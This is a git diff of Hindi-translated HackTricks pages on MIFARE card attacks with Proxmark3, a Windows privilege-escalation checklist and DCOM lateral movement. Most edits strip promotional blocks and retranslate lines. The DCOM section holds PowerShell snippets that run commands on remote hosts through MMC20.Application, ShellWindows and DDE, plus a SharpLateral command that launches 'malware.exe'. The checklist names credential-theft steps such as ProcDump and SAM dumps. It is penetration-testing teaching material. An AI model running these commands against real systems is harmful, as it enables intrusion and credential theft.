प्रत्येक सेक्टर तक पहुँचने के लिए आपको **2 कुंजियाँ** (**A** और **B**) चाहिए जो **प्रत्येक सेक्टर के ब्लॉक 3** (सेक्टर ट्रेलर) में संग्रहीत होती हैं। सेक्टर ट्रेलर **एक्सेस बिट्स** भी संग्रहीत करता है जो **प्रत्येक ब्लॉक** पर **पढ़ने और लिखने** की अनुमति देते हैं 2 कुंजियों का उपयोग करके।\
|
||||
प्रत्येक सेक्टर तक पहुँचने के लिए आपको **2 कुंजियाँ** (**A** और **B**) चाहिए जो **प्रत्येक सेक्टर के ब्लॉक 3 में** संग्रहीत होती हैं (सेक्टर ट्रेलर)। सेक्टर ट्रेलर **एक्सेस बिट्स** भी संग्रहीत करता है जो **प्रत्येक ब्लॉक** पर **पढ़ने और लिखने** की अनुमति देते हैं 2 कुंजियों का उपयोग करके।\
|
||||
2 कुंजियाँ पढ़ने की अनुमति देने के लिए उपयोगी हैं यदि आप पहली को जानते हैं और लिखने के लिए यदि आप दूसरी को जानते हैं (उदाहरण के लिए)।
|
||||
|
||||
कई हमले किए जा सकते हैं
|
||||
|
@ -70,18 +62,11 @@ Valid ISO14443A Tag Found - Quiting Search
|
|||
|
||||
### Scripts
|
||||
|
||||
Proxmark3 सॉफ़्टवेयर एक प्रीलोडेड **स्वचालन स्क्रिप्ट** की सूची के साथ आता है जिसका उपयोग आप सरल कार्यों को करने के लिए कर सकते हैं। पूरी सूची प्राप्त करने के लिए, `script list` कमांड का उपयोग करें। इसके बाद, स्क्रिप्ट के नाम के साथ `script run` कमांड का उपयोग करें:
|
||||
Proxmark3 सॉफ़्टवेयर एक प्रीलोडेड **स्वचालन स्क्रिप्ट** की सूची के साथ आता है जिसका उपयोग आप सरल कार्यों को करने के लिए कर सकते हैं। पूरी सूची प्राप्त करने के लिए, `script list` कमांड का उपयोग करें। इसके बाद, `script run` कमांड का उपयोग करें, उसके बाद स्क्रिप्ट का नाम:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
आप एक स्क्रिप्ट बना सकते हैं ताकि **फज़ टैग रीडर्स** को, इसलिए एक **मान्य कार्ड** का डेटा कॉपी करने के लिए बस एक **Lua स्क्रिप्ट** लिखें जो एक या एक से अधिक यादृच्छिक **बाइट्स** को **रैंडमाइज** करे और जांचें कि क्या **रीडर क्रैश** होता है किसी भी पुनरावृत्ति के साथ।
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
आप एक स्क्रिप्ट बना सकते हैं ताकि **फज़ टैग रीडर्स** को, इसलिए एक **मान्य कार्ड** का डेटा कॉपी करने के लिए बस एक **Lua स्क्रिप्ट** लिखें जो एक या अधिक यादृच्छिक **बाइट्स** को **रैंडमाइज़** करे और जांचें कि क्या **रीडर क्रैश** होता है किसी भी पुनरावृत्ति के साथ।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,39 +1,31 @@
|
|||
# चेकलिस्ट - स्थानीय Windows विशेषाधिकार वृद्धि
|
||||
# Checklist - Local Windows Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [सिस्टम जानकारी](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
* [ ] [**सिस्टम जानकारी**](windows-local-privilege-escalation/#system-info) प्राप्त करें
|
||||
* [ ] **स्क्रिप्ट का उपयोग करके कर्नेल** [**शोषणों**](windows-local-privilege-escalation/#version-exploits) की खोज करें
|
||||
* [ ] कर्नेल **शोषणों** के लिए **Google पर खोजें**
|
||||
* [ ] कर्नेल **शोषणों** के लिए **searchsploit का उपयोग करें**
|
||||
* [ ] **कर्नेल** [**शोषणों के लिए स्क्रिप्ट का उपयोग करें**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] कर्नेल **शोषणों के लिए Google का उपयोग करें**
|
||||
* [ ] कर्नेल **शोषणों के लिए searchsploit का उपयोग करें**
|
||||
* [ ] [**env vars**](windows-local-privilege-escalation/#environment) में दिलचस्प जानकारी?
|
||||
* [ ] [**PowerShell इतिहास**](windows-local-privilege-escalation/#powershell-history) में पासवर्ड?
|
||||
* [ ] [**Internet settings**](windows-local-privilege-escalation/#internet-settings) में दिलचस्प जानकारी?
|
||||
* [ ] [**इंटरनेट सेटिंग्स**](windows-local-privilege-escalation/#internet-settings) में दिलचस्प जानकारी?
|
||||
* [ ] [**ड्राइव**](windows-local-privilege-escalation/#drives)?
|
||||
* [ ] [**WSUS शोषण**](windows-local-privilege-escalation/#wsus)?
|
||||
* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
|
@ -52,7 +44,7 @@
|
|||
* [ ] [**उपयोगकर्ता विशेषाधिकार**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] [**वर्तमान** उपयोगकर्ता **विशेषाधिकार**](windows-local-privilege-escalation/#users-and-groups) की जांच करें
|
||||
* [ ] क्या आप [**किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [ ] जांचें कि आपके पास [इनमें से कोई भी टोकन सक्षम है](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] जांचें कि क्या आपके पास [इनमें से कोई भी टोकन सक्षम है](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**उपयोगकर्ता सत्र**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] [**उपयोगकर्ताओं के घरों**](windows-local-privilege-escalation/#home-folders) की जांच करें (पहुँच?)
|
||||
* [ ] [**पासवर्ड नीति**](windows-local-privilege-escalation/#password-policy) की जांच करें
|
||||
|
@ -68,24 +60,24 @@
|
|||
* [ ] प्रक्रियाओं के बाइनरी [**फाइल और फ़ोल्डर अनुमतियाँ**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**मेमोरी पासवर्ड खनन**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**असुरक्षित GUI ऐप्स**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] `ProcDump.exe` के माध्यम से **दिलचस्प प्रक्रियाओं** के साथ क्रेडेंशियल चुराएं? (फायरफॉक्स, क्रोम, आदि ...)
|
||||
* [ ] `ProcDump.exe` के माध्यम से **दिलचस्प प्रक्रियाओं** के साथ क्रेडेंशियल चुराना? (फायरफॉक्स, क्रोम, आदि ...)
|
||||
|
||||
### [सेवाएँ](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [ ] [क्या आप **किसी सेवा को संशोधित कर सकते हैं**?](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [क्या आप **किसी सेवा द्वारा** **निष्पादित** **बाइनरी** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [क्या आप किसी **सेवा** के **पंजीकरण** को **संशोधित कर सकते हैं**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [क्या आप **किसी सेवा द्वारा** **निष्पादित** **बाइनरी** को **संशोधित** कर सकते हैं?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [क्या आप किसी **सेवा** के **रजिस्ट्री** को **संशोधित** कर सकते हैं?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [क्या आप किसी **अनकोटित सेवा** बाइनरी **पथ** का लाभ उठा सकते हैं?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**ऐप्लिकेशन**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* [ ] **स्थापित ऐप्लिकेशनों पर** [**लिखने** की अनुमतियाँ](windows-local-privilege-escalation/#write-permissions)
|
||||
* [ ] [**स्थापित ऐप्लिकेशनों पर**](windows-local-privilege-escalation/#write-permissions) **लिखने** की अनुमतियाँ
|
||||
* [ ] [**स्टार्टअप ऐप्लिकेशन**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* [ ] **कमजोर** [**ड्राइवर**](windows-local-privilege-escalation/#drivers)
|
||||
|
||||
### [DLL हाईजैकिंग](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
### [DLL हाइजैकिंग](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] क्या आप **PATH के अंदर किसी फ़ोल्डर में लिख सकते हैं**?
|
||||
* [ ] क्या आप **PATH के अंदर किसी भी फ़ोल्डर में लिख सकते हैं**?
|
||||
* [ ] क्या कोई ज्ञात सेवा बाइनरी है जो **किसी गैर-मौजूद DLL को लोड करने की कोशिश करती है**?
|
||||
* [ ] क्या आप किसी **बाइनरी फ़ोल्डर** में **लिख सकते हैं**?
|
||||
|
||||
|
@ -106,11 +98,11 @@
|
|||
* [ ] [**AppCmd.exe** मौजूद है](windows-local-privilege-escalation/#appcmd-exe)? क्रेडेंशियल्स?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL साइड लोडिंग?
|
||||
|
||||
### [फाइलें और रजिस्ट्र्री (क्रेडेंशियल्स)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
### [फाइलें और रजिस्ट्री (क्रेडेंशियल्स)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**क्रेड्स**](windows-local-privilege-escalation/#putty-creds) **और** [**SSH होस्ट कुंजी**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**रजिस्ट्र्री में SSH कुंजी**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] [**अनअटेंडेड फाइलों**](windows-local-privilege-escalation/#unattended-files) में पासवर्ड?
|
||||
* [ ] [**रजिस्ट्री में SSH कुंजी**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] [**अनटेंडेड फाइलों**](windows-local-privilege-escalation/#unattended-files) में पासवर्ड?
|
||||
* [ ] कोई [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) बैकअप?
|
||||
* [ ] [**क्लाउड क्रेडेंशियल्स**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) फ़ाइल?
|
||||
|
@ -118,11 +110,11 @@
|
|||
* [ ] [**IIS वेब कॉन्फ़िग फ़ाइल**](windows-local-privilege-escalation/#iis-web-config) में पासवर्ड?
|
||||
* [ ] [**वेब** **लॉग**](windows-local-privilege-escalation/#logs) में दिलचस्प जानकारी?
|
||||
* [ ] क्या आप उपयोगकर्ता से [**क्रेडेंशियल्स**](windows-local-privilege-escalation/#ask-for-credentials) मांगना चाहते हैं?
|
||||
* [ ] [**रीसायकल बिन के अंदर दिलचस्प फाइलें**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] अन्य [**रजिस्ट्र्री जिसमें क्रेडेंशियल्स हैं**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] [**रीसाइक्लिंग बिन के अंदर दिलचस्प फाइलें**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] अन्य [**रजिस्ट्री जिसमें क्रेडेंशियल्स हैं**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] [**ब्राउज़र डेटा के अंदर**](windows-local-privilege-escalation/#browsers-history) (dbs, इतिहास, बुकमार्क, ...)?
|
||||
* [ ] फ़ाइलों और रजिस्ट्र्री में [**सामान्य पासवर्ड खोज**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
|
||||
* [ ] पासवर्ड खोजने के लिए [**उपकरण**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
||||
* [ ] फ़ाइलों और रजिस्ट्री में [**सामान्य पासवर्ड खोज**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
|
||||
* [ ] पासवर्ड के लिए स्वचालित रूप से खोजने के लिए [**उपकरण**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
||||
|
||||
### [लीक किए गए हैंडलर्स](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
|
@ -132,23 +124,17 @@
|
|||
|
||||
* [ ] जांचें कि क्या आप इसका दुरुपयोग कर सकते हैं
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**इस तकनीक के बारे में अधिक जानकारी के लिए [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) से मूल पोस्ट देखें।**
|
||||
|
@ -31,9 +23,9 @@ Distributed Component Object Model (DCOM) ऑब्जेक्ट्स ने
|
|||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC स्नैप-इन संचालन के स्क्रिप्टिंग की अनुमति देता है। विशेष रूप से, इस ऑब्जेक्ट में `Document.ActiveView` के तहत `ExecuteShellCommand` विधि शामिल है। इस विधि के बारे में अधिक जानकारी [यहां](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) मिल सकती है। इसे चलाते हुए जांचें:
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC स्नैप-इन संचालन के स्क्रिप्टिंग की अनुमति देता है। विशेष रूप से, इस ऑब्जेक्ट में `Document.ActiveView` के तहत `ExecuteShellCommand` विधि शामिल है। इस विधि के बारे में अधिक जानकारी [यहाँ](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) मिल सकती है। इसे चलाते हुए जांचें:
|
||||
|
||||
यह सुविधा एक DCOM एप्लिकेशन के माध्यम से नेटवर्क पर कमांड निष्पादित करने की सुविधा प्रदान करती है। एक व्यवस्थापक के रूप में दूरस्थ रूप से DCOM के साथ बातचीत करने के लिए, PowerShell का उपयोग निम्नलिखित तरीके से किया जा सकता है:
|
||||
यह सुविधा एक नेटवर्क के माध्यम से DCOM एप्लिकेशन के माध्यम से कमांड निष्पादित करने की सुविधा प्रदान करती है। एक व्यवस्थापक के रूप में दूरस्थ रूप से DCOM के साथ बातचीत करने के लिए, PowerShell का उपयोग निम्नलिखित तरीके से किया जा सकता है:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
|
@ -59,12 +51,12 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**MMC20.Application** ऑब्जेक्ट को स्पष्ट "LaunchPermissions" की कमी के लिए पहचाना गया, जो व्यवस्थापकों को पहुंच की अनुमति देने वाले अनुमतियों पर डिफ़ॉल्ट होता है। अधिक विवरण के लिए, एक थ्रेड [यहां](https://twitter.com/tiraniddo/status/817532039771525120) खोजा जा सकता है, और बिना स्पष्ट Launch Permission के ऑब्जेक्ट को फ़िल्टर करने के लिए [@tiraniddo](https://twitter.com/tiraniddo) के OleView .NET का उपयोग करने की सिफारिश की गई है।
|
||||
|
||||
दो विशिष्ट ऑब्जेक्ट, `ShellBrowserWindow` और `ShellWindows`, को स्पष्ट Launch Permissions की कमी के कारण उजागर किया गया। `HKCR:\AppID\{guid}` के तहत `LaunchPermission` रजिस्ट्री प्रविष्टि की अनुपस्थिति स्पष्ट अनुमतियों की कमी को दर्शाती है।
|
||||
दो विशेष ऑब्जेक्ट, `ShellBrowserWindow` और `ShellWindows`, को स्पष्ट Launch Permissions की कमी के कारण उजागर किया गया। `HKCR:\AppID\{guid}` के तहत `LaunchPermission` रजिस्ट्री प्रविष्टि की अनुपस्थिति स्पष्ट अनुमतियों की कमी को दर्शाती है।
|
||||
|
||||
### ShellWindows
|
||||
`ShellWindows` के लिए, जिसमें ProgID की कमी है, .NET विधियाँ `Type.GetTypeFromCLSID` और `Activator.CreateInstance` इसके AppID का उपयोग करके ऑब्जेक्ट इंस्टेंशिएट करने में सहायता करती हैं। यह प्रक्रिया `ShellWindows` के लिए CLSID प्राप्त करने के लिए OleView .NET का उपयोग करती है। एक बार इंस्टेंशिएट होने के बाद, `WindowsShell.Item` विधि के माध्यम से इंटरैक्शन संभव है, जिससे `Document.Application.ShellExecute` जैसी विधियों का आह्वान होता है।
|
||||
`ShellWindows` के लिए, जो एक ProgID की कमी है, .NET विधियाँ `Type.GetTypeFromCLSID` और `Activator.CreateInstance` इसके AppID का उपयोग करके ऑब्जेक्ट इंस्टेंटिएशन को सुविधाजनक बनाती हैं। यह प्रक्रिया `ShellWindows` के लिए CLSID प्राप्त करने के लिए OleView .NET का उपयोग करती है। एक बार इंस्टेंटिएट होने के बाद, `WindowsShell.Item` विधि के माध्यम से इंटरैक्शन संभव है, जिससे `Document.Application.ShellExecute` जैसी विधियों का आह्वान होता है।
|
||||
|
||||
ऑब्जेक्ट को इंस्टेंशिएट करने और दूरस्थ रूप से कमांड निष्पादित करने के लिए उदाहरण PowerShell कमांड प्रदान किए गए थे:
|
||||
ऑब्जेक्ट को इंस्टेंटिएट करने और दूरस्थ रूप से कमांड निष्पादित करने के लिए उदाहरण PowerShell कमांड प्रदान किए गए थे:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
@ -102,7 +94,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
|
||||
इन तकनीकों को स्वचालित करने के लिए दो टूल्स को उजागर किया गया है:
|
||||
|
||||
- **Invoke-DCOM.ps1**: एक PowerShell स्क्रिप्ट जो Empire प्रोजेक्ट द्वारा प्रदान की गई है, जो दूरस्थ मशीनों पर कोड निष्पादित करने के लिए विभिन्न विधियों को लागू करना सरल बनाती है। यह स्क्रिप्ट Empire GitHub रिपॉजिटरी पर उपलब्ध है।
|
||||
- **Invoke-DCOM.ps1**: एक PowerShell स्क्रिप्ट जो Empire प्रोजेक्ट द्वारा प्रदान की गई है, जो दूरस्थ मशीनों पर कोड निष्पादित करने के विभिन्न तरीकों को सरल बनाती है। यह स्क्रिप्ट Empire GitHub रिपॉजिटरी पर उपलब्ध है।
|
||||
|
||||
- **SharpLateral**: एक टूल जो दूरस्थ रूप से कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जिसे इस कमांड के साथ उपयोग किया जा सकता है:
|
||||
```bash
|
||||
|
@ -115,28 +107,22 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मालवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
